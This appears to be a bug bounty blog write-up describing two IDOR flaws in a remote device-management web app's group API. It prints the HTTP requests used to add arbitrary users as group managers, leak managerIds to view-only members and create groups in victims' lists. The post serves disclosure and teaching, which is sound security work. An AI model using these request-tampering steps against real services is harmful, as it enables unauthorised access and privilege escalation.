Post cover image

August 29, 2026

One parameter & Two IDORs

بسم الله الرحمن الرحيم, اللهم صلي وسلم وزد وبارك على سيدنا محمد وعلى آله وصحبه وسلم

By Omer Mohsen

3 min read

Hi this Omar Mohsen and this is how one parameter broke the trust boundary twice.

The program is a public program on yes we hack.

In this program you can add your devices and connect to them remotly through the application.

You create a group and add the devices also add members to the group with different permissions.

And it's required to add a member that he is already in your contact list (that means he accepted an invitation request from you).

I started testing the "add member" functionality and the request looks like this:

PUT /api/manageddevices/v2/groups/{group-UUID} HTTP/2
Host: web.target.com
Content-Type: application/json
X-Csrf-Token: {CSRF-token};
    {
      "displayName": {"operation": "Update", "displayName": "privesc test"},
      "managers": [
        {
          "operation": "Add",
          "displayName": "created victim",
          "managerId": "b54ce6b0-a015-4844-afad-4360e8fa1c2f",
          "permissionSets": ["EasyAccess"],
          "accountId": 332157636
        }
      ]
    }

i noticed two IDs here the "managerId" and the "accountId", first i tried to change the accountId but it didn't work, so it's safe.

so now i have to test the mangerId, i picked a "managerId" for a user just signed up and have no contacts, and for my suprise the response is 200 OK, confirming injection succeeded.

None

response:

{
      "permissionSets": ["PolicyAdministration","GroupAdministration","EasyAccess","InheritDeviceAdministration","InheritDeviceDescription","InheritPolicyAdministration","CustomFieldsAdministration"],
      "displayName": "created victim",
      "isInvalidManager": false,
      "managerId": "b54ce6b0-a015-4844-afad-4360e8fa1c2f",
      "managerType": "Account",
      "accountId": 331931452,
      "userGroupId": 0,
      "companyId": 0
}

luckily the request only depends on the "managerId" so it's the only parameter that is matters.

Now i can report this alone but it's would considered as low because of the UUID, so i tried to find a way to obtain "managerId" of other users, and i find this request:

GET /api/manageddevices/v2/groups/{groupId}

and it returns all user's "mangerId" in the response, and any body could access this data even if he is "view-only".

None

So that makes it higher in severity, i then reported the bug and they closed it as "informative".

From their perspective they think that this doesn't warrant a fix.

None

The second IDOR is in the same section.

I was creating a new group with this request:

POST /api/manageddevices/v2/groups HTTP/2
Host: web.target.com
Content-Type: application/json
X-Csrf-Token: <redacted>

{
  "displayName": {
    "displayName": "created by hacker",
    "operation": "Add"
  },
  "managers": [
    {
      "accountId": <victim_accountId>,
      "operation": "Add",
      "permissionSets": ["ManagerAdministration", "GroupAdministration"]
    }
  ]
}

Here i though about test IDOR in the "accountId" param and i added an ID of a user in my contact list and i noticed that it worked

None

this is an IDOR which allow attacker to create groups into the victim's group list, But i tried to change the ID to someone that is not in my contact list and unfortunately it didn't work as expected.

So for now it's low severity because you have to add your victim in your contact list first, and what makes the severity lower is that i only create the group their but i can't add myself or perform any actions.

So i though about using the "managerId" which was vulnerable in the other request.

and i quickly obtained a victim's "managerId" that is not in my contact list and added it to the request:

None

And it works.

now time to check the group creation:

None

So quickly reported this one and it was duplicate:

None